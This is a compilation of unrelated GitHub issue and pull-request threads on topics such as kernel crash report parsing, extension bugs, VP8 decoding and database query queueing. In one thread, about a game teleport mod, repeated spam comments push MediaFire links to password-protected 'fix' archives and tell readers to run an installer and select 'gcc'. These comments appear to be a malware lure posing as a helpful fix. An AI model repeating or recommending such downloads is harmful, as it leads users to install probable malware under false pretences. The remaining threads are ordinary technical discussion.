pkg/report: flag short uvm_fault reports as corrupted

They don't contain enough context to be useful.

The code looks broken:
--- FAIL: TestOpenbsdSymbolizeLine (0.00s)
panic: interface conversion: report.Reporter is *report.openbsd, not *report.bsd [recovered]
	panic: interface conversion: report.Reporter is *report.openbsd, not *report.bsd

Funny that it compiles and the fails at run time :( So much for Go type system, I guess.

Please fix the test.

Tests does pass at this point. Made an attempt in commit c7961d03, not sure if it's the best apporach or not.
/cc @dvyukov

I think it will be more perspective to use the existing matching system that can do this (and even better).
E.g. this says that we want to see output up to "end trace frame" and this makes the tests pass*:
	{
		[]byte("uvm_fault("),
		[]oopsFormat{
			{
				title: compile("uvm_fault\\((?:.*\\n)+?.*Stopped at[ ]+{{ADDR}}"),
				report: compile("uvm_fault\\((?:.*\\n)+?.*end trace frame"),
				fmt:   "uvm_fault",
			},
			{
				title: compile("uvm_fault\\("),
				report: compile("uvm_fault\\((?:.*\\n)+?.*Stopped at[ ]+([^\\+]+)\\((?:.*\\n)+?.*end trace frame"),
				fmt:   "uvm_fault: %[1]v",
			},
			{
				title: compile("uvm_fault\\("),
				fmt:   "uvm_fault",
				corrupted: true,
			},
		},
		[]*regexp.Regexp{},
	},

Test 0 does not pass, but arguably it's actually corrupted as well (if we see just that, it's not very useful too).

I think it will be more perspective to use the existing matching system that can do this (and even better).
E.g. this says that we want to see output up to "end trace frame" and this makes the tests pass*:
	{
		[]byte("uvm_fault("),
		[]oopsFormat{
			{
				title: compile("uvm_fault\\((?:.*\\n)+?.*Stopped at[ ]+{{ADDR}}"),
				report: compile("uvm_fault\\((?:.*\\n)+?.*end trace frame"),
				fmt:   "uvm_fault",
			},
			{
				title: compile("uvm_fault\\("),
				report: compile("uvm_fault\\((?:.*\\n)+?.*Stopped at[ ]+([^\\+]+)\\((?:.*\\n)+?.*end trace frame"),
				fmt:   "uvm_fault: %[1]v",
			},
			{
				title: compile("uvm_fault\\("),
				fmt:   "uvm_fault",
				corrupted: true,
			},
		},
		[]*regexp.Regexp{},
	},

* Test 0 does not pass, but arguably it's actually corrupted as well (if we see just that, it's not very useful too).

Thanks for the suggestion! Updated with your changes applied.


fix: remove window browser polyfill from ext background

This PR fixes 2 issues that happens in the chrome extension's background process.

"window is not defined" - happening because we are including the polyfills for the browser which attempts to add the browser into window object, which does not exist in the background process.

"Only a single offscreen document may be created." - happening because we are running browser.runtime.getURL twice.

Please also test this on FF as FF handles offscreen tabs different to chrome

LGTM


[Question] Would you happen to remember anything dealing with teleporting?

I realized I hate all the running around if it's in the same locations over and over again, but then I saw your neat project. Unfortunately the teleports don't work.
Just curious if you remember any details about it, so I thought I'd ask.

Huh that's strange, what version of the game are you playing on? It should be working for the latest version of steam (1.02)

Using it on Steam Deck.
The problem might be bc of the hardcoded offsets.

Yep, it's something to do with Pointers and Wine emulation, blah, blah. I decided to go this route.
Sorry for bothering you for an unusual platform setup.

Forgot to mention. The game's custom map marker corresponds to the exact same coordinates outside the map. If you make those overwrite your current position, you can go anywhere you place the marker 😃

Download
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/czdodbba054p738/fix.rar/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/5t7dozm7sptcuqj/fix.zip/file
password: changeme
In the installer menu, select "gcc."

to fix your trouble check this fix, i see it in another issue,
https://app.mediafire.com/9mrkd33xulszl
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

Download
https://www.mediafire.com/file/5t7dozm7sptcuqj/fix.zip/file
password: changeme
In the installer menu, select "gcc."

hi bro, to fix your trouble try this fix, i see it in another issue,
https://app.mediafire.com/dqajf1x14ccfd
password: changeme
when you installing it, you need to place a check in install to path and select usx


Media Flyout no longer displaying media

I'm currently using MusicBee, but I checked with Spotify as well and no dice.

Are you currently using Windows 10 2004/2009?

Yes

Then see #29.
The app has to restarted to show them
We are trying to find a way to tackle this bug

Duplicate of #29


Move Dynamic FL Manager to PyGrid

Description
Due to the need to adapt the architecture presented in this document. We are moving all dynamic learning functionality to this repository.
Fixes https://github.com/OpenMined/PyGrid/issues/595
TODO Checklist

[x] Move static FL assets to their respective folders.

[x] All the static federated learning assets were moved to the grid.app.main.sfl path
[x] MOVE Satic FL websocket events (grid.app.main.events.federated) to its respective path (grid.app.main.events.sfl)
[x] MOVE Static FL HTTP routes to its respective path (grid.app.main.routes.sfl).
[x] FIX import paths in sfl assets structures and schemas.
[x] FIX import paths in test
[x] PyGrid unit tests working.

[x] Move Dynamic FL assets to their respective folders.

[x] All the dynamic federated learning assets were moved to the grid.app.main.dfl path
[x] MOVE Dynamic FL websocket events (gridnode.main.events) to its respective path (grid.app.main.events.dfl)
[x] MOVE Dynamic FL HTTP routes to its respective path (grid.app.main.routes.dfl).
[x] FIX import paths in dfl assets structures.
[x] FIX import paths in test.
[x] Grid node unit tests working.

How has this been tested?

Unit tests developed by both repositories.

Checklist

[X] I have followed the Contribution Guidelines and Code of Conduct
[X] I have commented on my code following the OpenMined Styleguide
[X] I have labeled this PR with the relevant Type labels
[x] My changes are covered by tests

Current Architecture

Proposed Architecture

Thanks, @IonesioJunior This :point_up: is very helpful.

The PRs that were merged today caused some conflicts. See #601 and #603

This PR adds grid/__init__.pyc, it should be deleted, and the .gitignore updated to prevent it from happening again


XLog -> XLog2Table -> Table2XLog not working correctly on receipt log

Workflow:

Original log:

Configuration of the Table2XLog

New XLog at the end

It seems that you inverted the case ID with the event class column!

Hi, Ale,
I have tried at my side. It has no problem. I assume that the configuration might go wrong. Could you send me the workflow you use, such that I can have a test?
Kefang

I tested this function before. It was good. But, in the least version, it gets an error.

Here is the workflow
DataTable_XLog.zip
Here is the log
knime.log

hi, @FrankBGao ,
the reason is that the type of timestamp mismatches. The given one is String, but to use Table2XLogConverter, it requires the timestamp in type of DateTime. TO do this, please use the KNIME node called "String to Date/Time".
Regards
Kefang


this.userId is null on server, populated on client

The fix will be in a different repository, but what do people think about this issue?
https://github.com/idanwe/meteor-client-side/issues/12

fixed there as well, closing


[Bug]: BigQueryIO Storage API Schema Update does not work with dynamic destinations

What happened?
#33231 added a test, showing the combination of these two feature do not work together.
Issue Priority
Priority: 2 (default / most bugs should be filed as P2)
Issue Components

[ ] Component: Python SDK
[ ] Component: Java SDK
[ ] Component: Go SDK
[ ] Component: Typescript SDK
[ ] Component: IO connector
[ ] Component: Beam YAML
[ ] Component: Beam examples
[ ] Component: Beam playground
[ ] Component: Beam katas
[ ] Component: Website
[ ] Component: Infrastructure
[ ] Component: Spark Runner
[ ] Component: Flink Runner
[ ] Component: Samza Runner
[ ] Component: Twister2 Runner
[ ] Component: Hazelcast Jet Runner
[ ] Component: Google Cloud Dataflow Runner

After investigating a little, I found this doesn't actually have to do with dynamic destinations. The issue is when the sink creates a new StreamWriter after the schema has been updated.
Looks like we create the StreamWriter with a fixed schema. A StreamWriter returns an updated schema only if it was created before such an update. So it doesn't pull the updated schema and continues using the old schema it was created with.

Say a streaming pipeline has been running for a while.. then the table's schema gets updated. If the pipeline decides to create new write streams after this (e.g. autosharding determines we need more shards), we will create those new write streams based on the original schema. We do not communicate to new shards that actually we are writing based on a new schema. See the following code reference: https://github.com/apache/beam/blob/288c1569d1eca4e8e431255ab74c1ffb3d9b05fd/sdks/java/io/google-cloud-platform/src/main/java/org/apache/beam/sdk/io/gcp/bigquery/StorageApiWritesShardedRecords.java#L514-L530
updatedSchema is a ValueState that exists within the scope of a shard. It only gets initialized when a Schema change happens within the lifetime of this shard.

We do always attempt to fetch the StreamWriter's updated schema: https://github.com/apache/beam/blob/85bff0d2c1adb743c4738f51428c88fb74532021/sdks/java/io/google-cloud-platform/src/main/java/org/apache/beam/sdk/io/gcp/bigquery/StorageApiWritesShardedRecords.java#L927-L928
But looking at the implementation in Storage API code base, we see that the updated schema is returned only if the StreamWriter was created before the schema update operation: https://github.com/googleapis/java-bigquerystorage/blob/f090c8eb91c1fad9e7f13850b367cca64c0afe5c/google-cloud-bigquerystorage/src/main/java/com/google/cloud/bigquery/storage/v1/StreamWriter.java#L576-L591


Issue When Saving Unchanged JSON

Given the following code:
Resources/TestResource.php
class TestResource extends Resource
{
    protected static ?string $model = Test::class;

    public static function form(Form $form): Form
    {
        return $form
            ->schema([
                TiptapEditor::make('test')
                    ->output(TiptapEditor::OUTPUT_JSON),
            ]);
    }

    //...

}

Models/Test.php
class Test extends Model
{
    protected $fillable = [
        'test',
    ];

    public $casts = [
        'test' => 'json',
    ];
}

When text is entered and you press save the JSON data is persisted to the database as expected. If you refresh the page and without changing the value press save null is persisted rather than the displayed value.
Additionally, and I suspect this is related, if you enter text and press save and then without refreshing the page press save again an error is thrown:

Inspecting the value of $state on the first save gives:

On the second save:

Was going to get to this today. Other things took priority. Sorry.
Should be able to get to it soon.

I think v2.0.3 will get you sorted. Let me know.
Also, thanks for being a product tester. 🤣

That seems to have fixed it :tada:
Happy to do some testing! I appreciate you taking the time to look at the issue :+1:


Javascript error in UI on Firefox (TypeError on response.body at ports.js:68)

The actual error is "TypeError: response.body is undefined"
This is on FF 56.0 on MacOS 10.12.6.  I'm not familiar enough with Elm to know what the type of response in this function is supposed to be and if the lack of a body field is a normal occurrence, a browser-compatibility issue, or a framework bug.  Since it works on the same machine under Chrome, I'm leaning toward one of the latter two.
I'll try to dig deeper later.
PS - really like the project!

@xla

This is a duplicate of #68 and I would continue the dialogue there. Thanks for the report!


Add tests in CI

Motivation / Background

This Pull Request has been created to add tests into the codebase.
Addresses #3.
Additional information

Checklist
Before submitting the PR, make sure the following are checked:

[x] Version file (/.version) is updated according to the
Semantic Version rules.
[x] This Pull Request is related to one change.
Changes that are unrelated should be opened in separate PRs.
[x] Commit message has a detailed description of what changed and why.
If this PR fixes a related issue, include it in the commit message.
Ex: [Fixes #issue-number].
[x] Tests are added or updated if you fix a bug or add a feature.

Close #3.


Contribute logback appender

OMG I don't even remember what we did this for, anyway it was nice to be reminded of our days working together @Stephan202 ;)
I hope you're doing great man, cheers!

Wow, this sure is a blast from the past :smile:. I can report that these days we're using Sentry rather than Bugsnag; this code that we meant to upstream was refactored over the years, and these days it extends SentryAppender.
I hope you're have a great time is well! :rocket:

I can report that these days we're using Sentry rather than Bugsnag
That great to hear!
I hope you're having a great time is well! 🚀
I am indeed back in sunny Brazil :) Managed to work remotely from here for a Dutch company (Backbase) for a while, I'm working for a payments company competitor of Adyen called PPRO now, just started though, will see how it goes.

Just saw in the news, you're expanding more and more, now delivering in Berlin even, cool!


circumflex: 3.2 -> 3.5

Description of changes
Updates circumflex.
Release notes 3.3.1
Release notes 3.4
Release notes 3.5
Changelog
Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[x] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[x] Tested basic functionality of all binary files (usually in ./result/bin/)
23.11 Release Notes (or backporting 23.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[x] Fits CONTRIBUTING.md.

@mktip would you please look at this pr? (:

@ofborg build circumflex


$headers[PHP_AUTH_PW] error with public clients

set $headers[PHP_AUTH_PW] = "" if !isset($headers[PHP_AUTH_PW] as with password grant_type for oauth2 public workflow
Encountered this issue while implementing user_credential workflow using oauth2-server-php library in Laravel framework.
http://bshaffer.github.io/oauth2-server-php-docs/grant-types/user-credentials/
Am unable to submit header key PHP_AUTH_PW with no value.
Error:
exception 'ErrorException' with message 'Undefined index: PHP_AUTH_PW' in /oauth/vendor/symfony/http-foundation/ServerBag.php:98

Note that this repository is read-only.
I'm seeing the same type of error in a project that uses Symfony 2.6, either way in the newer versions the fix is already implemented.
See this commit.
https://github.com/symfony/symfony/commit/a450d002f253e32e77d5c2bd3e490435c68a8c09


trace seconds field is not effect

Below is my code using the fgtrace:
go func() {
    http.DefaultServeMux.Handle("/debug/fgprof", fgprof.Handler())
    http.DefaultServeMux.Handle("/debug/fgtrace", fgtrace.Config{})
    logger.Error("pprof server error", "err", http.ListenAndServe("<IP_ADDRESS>:1234", nil))
}()

curl get fgtrace file, I specified a trace time of 120s :
curl -o fgtrace.json http://localhost:1234/debug/fgtrace?seconds=120

but it returned the file immediately.So, Is there any configuration I need to modify?

Confirmed this is a bug. I screwed up some stuff while refactoring 🤦. Will fix.

Fixed by https://github.com/felixge/fgtrace/commit/f46702d4cf91a639e28ff95fec1462783665c1d1 - will cut a new release now. Sorry about this.


Need setup of models: User, Poll, PollQuestions, PollVotes

Models are built effectively, and are functioning with api routes accordingly.


This page should really not editable for me...

I can edit the wiki page:
https://github.com/driftyco/ionic-cli/wiki/Migrating-to-NPM-from-bower with my account...

I can edit the whole wiki :0

I don't even see a wiki.


Wrapping files/folders

I can use this snippet for the native obsidian file explorer to wrap text (useful for displaying long file titles when the sidebar is small):
.workspace-leaf-content[data-type=file-explorer]` .nav-file-title-content, .workspace-leaf-content[data-type=file-explorer] .nav-folder-title-content { display: inline-block; overflow-wrap: anywhere; overflow: hidden; border-left: solid 0.1px; white-space: normal; text-overflow: ellipsis; border-bottom: solid 0.1px; }
But if I reuse this snippet for the make.md classes, it's not wrapping correctly:
.mk-tree-text { display: inline-block; overflow-wrap: anywhere; overflow: hidden; border-left: solid 0.1px; white-space: normal; text-overflow: ellipsis; border-bottom: solid 0.1px; }
@jp-cen  Can you help me here, please?

Text wrapping most likely won't work well due to the list being optimized and having precalculated heights. You can always work with the existing space.
However, here's a snippet if you want, the row size won't auto adjust. You can either increase the height for all rows or reduce the text size.
.mk-tree-text {
overflow: visible;
display: flex;
max-width: 100%;
white-space: break-spaces;
}


BIO synchronization issue causing unpected connection drops intermittently

Currently the BIO read/write methods could be accessed from multiple threads (main thread and virtual channels) simultaneously without protection. Particularly, there is no protection between the SSL_read and SSL_get_error call (and so SSL_write and SSL_get_error), but I am not sure there will be other cases. We have observed cases from time to time, in which SSL_read returned from normal blocking state (SSL_ERROR_WANT_READ etc), but then the following SSL_get_error call returns a critical unknown error SSL_ERROR_SYSCALL instead, because the internal SSL and BIO state were changed by another thread which was trying to write something else.

As a minimum solution, I think bio_rdp_tls_read/write must be protected as a whole, but I am not sure if this is actually a more serious design problem. Any input?

@llyzs read and write should be doable in parallel, but parallel read/read or write/write should not be doable. The original OpenSSL BIOs were unfortunately not compatible with full duplex, as the read and write operations both started with resetting the BIO retry flag. This meant that in certain cases, the read operation would get to test the retry flag as false as in parallel the write operation had just reset it. Our BIOs reset the retry flag if and only if we detect that the transport is truly down to avoid this issue. If you observe parallel write/write and read/read calls, the problem is not in the BIO but in the code calling the BIO. read and write are not reentrant, and I think don't we want/can make them reentrant. It doesn't make sense anyway to allow our application to make multiple read or write calls in parallel, only one read and one write call in parallel at the same time (full duplex).

@awakecoding thanks for the hint, I think I found the real problem on our side. Closing this one for now.


Question: How To Override The NonText Color?

I am using the terafox colorscheme with zero alterations to it, what is the best way to go about changing only the NonText color? I've tried changing it a few times now but nothing seems to work. Also, I am not using the gui version of neovim even though guifg the only thing with a color set for NonText. Is it possible that I need to add a color instead of overriding an already existing color?

The highlight group that you are looking for is Whitespace (:help hl-Whitespace). You can override this using
groups. See readme for more examples of using groups.
I recently updated Whitespace's value from bg2 to bg3. This make it stand out slightly more from the background.
Here is an example of me overriding Whitespace:
require('nightfox').setup({
  groups = {
    all = {
      -- Make sure to only define *one* Whitespace key. This is just some examples...
      Whitespace = { fg = "bg4" }, -- Slightly increase the contrast color from the base `bg3` color
      Whitespace = { fg = "palette.blue" }, -- Set it to the palette's base blue color
      Whitespace = { link = "LineNr" }, -- Link to the value of the line numbers
    }
  }
})

Thank you! One thing to note, I couldn't get it working in the setup function. Ended up changing .config/nvim/autoload/plugged/nightfox.nvim/lua/nightfox/precompiled/nvim/terafox_compiled.lua and then commenting my setup function so that I know which file to change if it ever stops working.
setup function in .config/nvim/lua/plug-nightfox.lua

terafox_compiled.lua

Looking at your config you have an ordering issue.
source $HOME/.config/nvim/vim-plug/plugins.vim
source $HOME/.config/nvim/options.vim " <---Setting the colorscheme to terafox here
" ...
lua require'plug-nightfox' " <--- Calling the setup function to override the colors

Make sure that you have called the setup function before setting the colorscheme so that the changes will be applied.

Fixed it! I didn't realize the ordering was such a big part. Thank you so much for going above and beyond!


Linux Ubuntu issues

The camera is panned towards the left of the room and moving it right is possible, but it instantly snaps back.

Tablet button doesn't open the tablet screen

The tablet is by design supposed to open only when the camera is facing the table. (The button is just a visual element, the game checks for when to open the tablet based on cursor position (approx. bottom 560 pixels of the screen))
As for the camera, I'm going to try to replicate the issue and will update you.

No. 1 is an issue on Mac as well (at least in the editor in the source cloned version).

I've created a separate issue for 1. (#13)

Fixed via #14


Apparent lack of security on Scheduler

Describe the bug
I can create, edit and delete schedules through the console even if I don't have any rights for that Ibis/Frank. Not necessarily a bug, more likely an oversight?
Category

Frank Console

To Reproduce
Steps to reproduce the behavior:

Go to 'Scheduler' on the console of an Ibis where you lack rights
See buttons 'Add new schedule', and on individual jobs 'Edit', 'Delete' etc.

Expected behavior
I would expect not to see any of the aforementioned buttons.
Screenshots
N/A
Environment:

Websphere 8.5
Firefox
IAF/F!F 7.5-20200211.123429

Additional context
N/A

There is security, you must have one of the following roles; IbisDataAdmin, IbisAdmin or IbisTester.


Search song features

Hey ! I would like to work on this issue. Can you please assign it to me.

I would like to work on this issue please assign it to me

@shyam-2002 @Shizzzzzzz7 kindly update on your progress, else will remove assignment

@flyingsonu122 Hello sir I want to work on this please assign me not under any event I just want to fix it

@flyingsonu122 Hello sir I want to work on this please assign me not under any event I just want to fix it

Glad to hear, go ahead. Assigned to you


"Go To Symbols in Editor" displays different symbols than "Go To Symbols in Workspace"

Describe the bug
When I am using the "Go To Symbols in Editor" command I can find symbols on procedure level. But when I am using the "Go To Symbols in Workspace" command I can only find symbols on object level. (eg. tables, codeunits, etc.).
To Reproduce
Steps and to reproduce the behavior:

Open AL solution with at least one procedure
Enable the "Go To Symbols in Workspace" command in VS Code
Search for any procedure in the "Go To Symbols in Workspace" command.

Expected behavior
It want to be able to find every procedure via "Go To Symbols in Workspace".
Screenshots

5. Versions:

Name: AL Language
Id: ms-dynamics-smb.al
Description: AL development tools for Dynamics 365 Business Central
Version: 6.5.413786
Publisher: Microsoft
VS Marketplace Link: https://marketplace.visualstudio.com/items?itemName=ms-dynamics-smb.al

We do not support the "Go To Symbols in Workspace" yet.

Thank you for the information. Is there an ETA on the feature? It would be pretty useful for navigating big AL solutions or to find suitable library functions.

No ETA for now. Maybe you can also create an entry here that it gets some visibility

Thank you, I have done that. (see https://experience.dynamics.com/ideas/idea/?ideaid=495d9f82-d376-eb11-8fed-0003ff45c929)

I am closing this issue because it appears that it has been resolved. Please open a new issue if you believe this has not been resolved and reference the current issue.


build failed

when I built by
cmake -DCMAKE_BUILD_TYPE=Debug -DUSE_SANITIZER=Address -DCMAKE_CXX_FLAGS="-DLOG_LEVEL=LOG_LEVEL_TRACE" .. make -j4
there is wrong with /usr/include/llvm-3.9/llvm/Support/Compiler.h:389:39: fatal error: sanitizer/asan_interface.h: No such file or directory

I don't think your environment is setup correctly:
https://github.com/cmu-db/peloton/wiki/Installation#ubuntu-quick-setup

thank you, I have fixed my problem, it's my environment incorrect


fix: box angle rectification according to the quadrant

This PR provides an heuristic to determine the quadrant of the document (only 2 quadrants are allowed, +90 and -90 with respect to the horizontal). The quadrant is determined with the median aspect ratio of cv2 min area rect, and then we can rectify boxes knowing the quadrant.
This is not a long-term fix, we should add a classifier to resolve the angle of each box perfectly, but for the moment I couldn't find anything else to fix this issue.
Any feedback is welcome!

@charlesmindee there is still a failing job for the analysis script :/

Yes I need to debug everything, I'll tell you  when it's ready!

It should be OK!


nix config is overriding

https://github.com/divnix/digga/blob/f25928ed0bf05ab20af5a8231d264ae01b42ab34/modules/nix-config.nix#L23-L26
does not behave well with the current implementation of this option, since later values seem to override previous values: https://github.com/NixOS/nixpkgs/blob/b2f87e0043aaf3f0f05cc983bd6aa80a616b8352/nixos/modules/services/misc/nix-daemon.nix#L59

this should have been fixed in #93, but apparently GitHub didn't recognize the two as linked. Closing now.


[Fluster] vp80-03-segmentation-1401 failure

$ python fluster.py run -d cros-codecs-VP8 -tv vp80-03-segmentation-1401
****************************************************************************************************
Running test suite VP8-TEST-VECTORS with decoder cros-codecs-VP8
Test vectors vp80-03-segmentation-1401
Using 12 parallel job(s)
****************************************************************************************************

[TEST SUITE      ] (DECODER        ) TEST VECTOR               ... RESULT
----------------------------------------------------------------------
[VP8-TEST-VECTORS] (cros-codecs-VP8) vp80-03-segmentation-1401 ... Fail

=======================================================================
FAIL: vp80-03-segmentation-1401 (cros-codecs-VP8.VP8-TEST-VECTORS)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/mnt/stateful_partition/fluster/fluster/test.py", line 106, in _test
    self.test_vector.name,
AssertionError: 'f7acb74e99528568714129e2994ceca5' != '6e0ed3dd845a44b1239059942e5e53b0'
- f7acb74e99528568714129e2994ceca5
+ 6e0ed3dd845a44b1239059942e5e53b0
 : vp80-03-segmentation-1401

Ran 0/1 tests successfully               in 0.106 secs

Only the first frame appears to be incorrect (and heavily damaged), other frames look ok.
Using LIBVA_TRACE I have compared what we are sent to libva between cros-codecs-VP8 and FFmpeg-VP8-VAAPI (which passes the test). I found this difference on the first frame:
cros-codecs: bool_coder_ctx: range = f8, value = 58, count = 7
ffmpeg: bool_coder_ctx: range = f8, value = 59, count = 7
So I tried the make value match what we see with ffmpeg with  the following patch:
diff --git a/src/decoders/vp8/backends/vaapi.rs b/src/decoders/vp8/backends/vaapi.rs
index f3173ef9..ccdc9097 100644
--- a/src/decoders/vp8/backends/vaapi.rs
+++ b/src/decoders/vp8/backends/vaapi.rs
@@ -148,9 +148,12 @@ impl VaapiBackend<Header> {
             u32::from(frame_hdr.loop_filter_level() == 0),
         );

+        let mut bd_value = frame_hdr.bd_value();
+        if bd_value == 0x58 { bd_value = 0x59 };
+
         let bool_coder_ctx = libva::BoolCoderContextVPX::new(
             u8::try_from(frame_hdr.bd_range())?,
-            u8::try_from(frame_hdr.bd_value())?,
+            u8::try_from(bd_value)?,
             u8::try_from(frame_hdr.bd_count())?,
         );

And lo and behold, the test passes with this workaround!
Could this be a bug in the boolean decoder somehow?

@dwlsalmeida I cannot assign this issue to you, but can you share your thoughts?

Found the reason by looking at the ffmpeg boolean decoder. We need to call fill() one more time before reading the state of the decoder to be passed to the hardware. When we do so we consistently get the correct value.

@Gnurou Sorry, I was OOO this week.

No worries, it was not a too difficult one and I got to study the boolean decoder thanks to this. :)


List filters: Semi-hidden card

Just says filters, click on it, and see all filters.

See http://pattern.getproudcity.com/?v=&page=event-list


Enable switch language support

First crack at switch language. Needs some feature enhancements though, however those can be further tasks.

[ ] move the localization to actual localization files
[ ] would be nice if it was translation on the fly without needing to reload app

structure in place to force wet reload using JS method reloadTemplate()

App works, will create another issue for the rest of the HTML components (I need to translate those sections)


Automating Git configuration with ./deploy_prod.sh

Task: ensure deploy key is on remote server.
This is failing and I'm not sure why.  I have added deploy_key.pub to the Deploy Keys section on my forked repo of your cyoa repo and followed all other steps too.  Do I also need a deploy_key private file on my local machine?

hey @benuklove, from your screenshot the ~ references your home directory. looks like it's in the middle of a path, which won't work. double check the path where the key file is supposed to be located, the playbook is failing because the key does not exist at that path (which is probably erroring out because that is not a valid path)

Thanks!


Update README.md

Thanks for the Pull Request! I'm thinking to have roughly 3 minimum links per section. On the poster I found, they had 18xx.games in the "Other Games" section. I think that's a disservice to it, but could you either add two more sites to fit into an Economic Games section, or I'll hold off until I get around to it? Probably in the next few days (if you're waiting for me anyway). Thoughts?
https://www.reddit.com/r/coolguides/comments/k7j7mq/options_for_online_board_games/

added some others


Queries get's queued up and executes one after the other

OrientDB Version: 2.2.32, 2.2.11
Java Version: 1.8
OS: Debian 8
Expected behavior
I am executing 2 queries from OrientJS library from a single NodeJS process. Both queries start at the same time (one after the other immediately). The first query is bit huge and takes a while to get the result. The second query is really small and should not take a long time (When being executed alone, takes < 100ms), but get's completed only after the first one, hence takes a long time.
Actual behavior
It takes a long time to get the second (small) query to complete and completes only after the first query completes.
I have put below log statements to see if NodeJS process get's blocked but it doesn't get's blocked.
setInterval(() => {
    console.log('PING');
}, 500);

It seems like, either OrientDB queues up all the queries and runs one after the other, or OrientJS queues it up.
Steps to reproduce
Here a code snippet which reproduces the issue. The sample outputs are given in the comments.
https://gist.github.com/royalpinto/43218842a80914b04c9067f5bd8dab1c

Not sure if it is an issue with OrientJS or OrientDB

Hi @royalpinto
you can set up the pool of connection and use the token in order use different connections
const server = orientjs({
    host: SERVER_HOSTNAME,
    port: SERVER_PORT,
    username: SERVER_USERNAME,
    password: SERVER_PASSWORD,
    useToken : true,
    pool : {
        max : 10
    }
});

Thanks, @maggiolo00
I will try the connection pooling.
Is it that a single connection can execute only one query at a time? How would it work if all my connections from the pool are executing time-consuming queries and if want to execute a small query? Does it have to wait till one of the connection finishes current execution?

Hi @royalpinto
yes requests are queued per connections

Thanks, @maggiolo00 for the information.
closing the issue...


elm-package doesn't install a seemingly valid elm-package.json dependencies

Using elm 0.18.0 installed from npm, using node v7.8.0 and npm v4.6.1.
In a new empty tmp directory, create a elm-package.json file with this content:
{
    "version": "1.0.0",
    "summary": "Bug reproduction",
    "repository": "https://github.com/foo/bar.git",
    "license": "MIT",
    "source-directories": ["."],
    "exposed-modules": [],
    "dependencies": {
      "elm-lang/core": "5.1.1 <= v < 6.0.0"
    },
    "elm-version": "0.18.0 <= v < 0.19.0"
}

Install:
$ elm-package install
Packages configured successfully!

Now look at the content of elm-stuff:
$ tree elm-stuff
elm-stuff
├── exact-dependencies.json
└── packages

1 directory, 1 file

Looks fine, right? Now inspect the packages folder, it's empty. And exact-dependencies.json exposes an empty object:
$ cat elm-stuff/exact-dependencies.json
{}%

This started happening this morning after strange failures on Travis for the tooty project, where the test env couldn't be installed at all. I reduced the problem to the setup exposed above, which fails both on my machine and Travis.
I don't have a clue what triggered this behavior change, I didn't install anything new, yesterday everything was fine. Very, very strange.

FWIW package.elm-lang.org is currently down http://downforeveryoneorjustme.com/http://package.elm-lang.org

I think I've hit the same issue, and the package server is up.
To replicate:
{
    "version": "1.0.0",
    "summary": "Sample Elm Test",
    "repository": "https://github.com/user/project.git",
    "license": "BSD-3-Clause",
    "source-directories": [
        "."
     Weird.

I'm seeing the same issues as above. Run: elm package install and see Packages configured successfully! as a response, but then see an empty packages directory. elm-package.json shown below:
{
    "version": "0.5.0",
    "summary": "XX",
    "repository": "XX",
    "license": "BSD3",
    "source-directories": [
        "./src"
    ],
    "exposed-modules": [],
    "dependencies": {
        "elm-lang/core": "5.1.1 <= v < 6.0.0",
        "elm-lang/html": "2.0.0 <= v < 3.0.0",
        "elm-lang/http": "3.0.1 <= v < 4.0.0",
        "simonh1000/elm-jwt": "5.2.1 <= v < 6.0.0"
    },
    "elm-version": "0.18.0 <= v < 0.18.1"
}

I'm experiencing the same issue, but only on windows it seems. I do not have the same problem on OSX.

Sooo...I got it working by deleting the tests folder and reinitializing with elm-test init and it works. :thinking:

I found that it seems to happen while there is an exact-dependencies.json file in the elm-stuff folder, removing it caused the install to prompt me for install again
I had previously been committing it to git to preserve the resolved versions exactly, I suppose I will be removing it now though in order to allow for CI's to build my project


Add multiple guards support

Discussed in https://github.com/binafy/laravel-user-monitoring/discussions/17

Originally posted by kartiksprajapati September 30, 2023
Dear,
I was thinking if we can extend to next level by adding multiple guards like ( admin, user, editor ) if there is more than one guard to be logged.
Thanks

can i contribute ??

Why not!


Add ignoreTransactions and ignoreErrors

Background:
To further simplfiy ignoring certain events from being sent to sentry, it is also suggested to provide ignoreTransactions and ignoreErrors
More info here develop docs updated: https://develop.sentry.dev/sdk/features/#event-sampling

[ ] ignoreErrors
[ ] ignoreTransactions
[ ] SDK docs

Check out if this should be reported in client reports and how, the discussion is in the meta issue.


add type-unsafe 'invokeCallable' function to language module

There appears to be no way to perform invocations on Callables in a type-unsafe manner (that is, without at least having a properly typed Tuple to use as arguments) as you can with FuncitonDeclarations using invoke().
Given that correctly typed Tuples are not easy to create using the metamodel, the lack of an invoke method for Callables makes certain meta programming tasks difficult or impossible (see @renatoathaydes SO question).
Therefore, I propose a function ceylon.language.meta::invokeCallable() with the following signature be added:
shared native throws(`class IncompatibleTypeException`)
Anything invokeCallable(
        Anything(*Nothing) callable,
        Anything[] arguments);

Sounds like a legit use-case to me.

That would be helpful, I agree!

I wonder if this would be better with variadic arguments
It is proposed that this be in ceylon.language.meta, but it doesn't feel terrible meta to me
It's a shame IncompatibleTypeException is from ceylon.language.meta.model, if we're reusing it here

And:

surely invoke would be sufficient (or untypesafeInvoke or invokeDangerously), but invokeCallable seems tautologous to me: What else could you invoke than a Callable?
there's an ambiguity if the callable itself throws IncompatibleTypeException. We'd need a WrappedException to disambiguate. Do we want such a thing?

Given that correctly typed Tuples are not easy to create using the metamodel,

I don't immediately see what you mean by this. If it's true, then shouldn't we be addressing that problem directly?

I don't immediately see what you mean by this. If it's true, then shouldn't we be addressing that problem directly?

